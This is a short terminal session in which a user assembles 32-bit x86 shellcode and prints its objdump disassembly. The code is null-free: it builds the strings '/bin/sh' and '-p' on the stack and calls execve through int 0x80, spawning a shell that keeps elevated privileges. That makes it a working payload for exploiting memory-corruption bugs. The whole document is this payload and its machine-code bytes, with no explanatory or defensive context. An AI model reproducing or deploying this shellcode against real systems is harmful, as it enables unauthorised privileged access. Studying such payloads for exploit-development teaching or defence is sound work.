shell2_32_disassembly

[howard@sterling shellcodes]$ gcc -c shell2_32.s -o obj/shell2_32.o -m32
[howard@sterling shellcodes]$ objdump -Dz obj/shell2_32.o 

obj/shell2_32.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:    55                       push   %ebp
   1:    89 e5                    mov    %esp,%ebp
   3:    31 ff                    xor    %edi,%edi
   5:    66 bf 2d 70              mov    $0x702d,%di
   9:    57                       push   %edi
   a:    89 e6                    mov    %esp,%esi
   c:    bf 2f 73 68 41           mov    $0x4168732f,%edi
  11:    c1 e7 08                 shl    $0x8,%edi
  14:    c1 ef 08                 shr    $0x8,%edi
  17:    57                       push   %edi
  18:    bf 2f 62 69 6e           mov    $0x6e69622f,%edi
  1d:    57                       push   %edi
  1e:    89 e3                    mov    %esp,%ebx
  20:    31 ff                    xor    %edi,%edi
  22:    57                       push   %edi
  23:    56                       push   %esi
  24:    53                       push   %ebx
  25:    89 e1                    mov    %esp,%ecx
  27:    31 d2                    xor    %edx,%edx
  29:    31 c0                    xor    %eax,%eax
  2b:    b0 0b                    mov    $0xb,%al
  2d:    cd 80                    int    $0x80
  2f:    83 c4 18                 add    $0x18,%esp
  32:    5d                       pop    %ebp
  33:    c3                       ret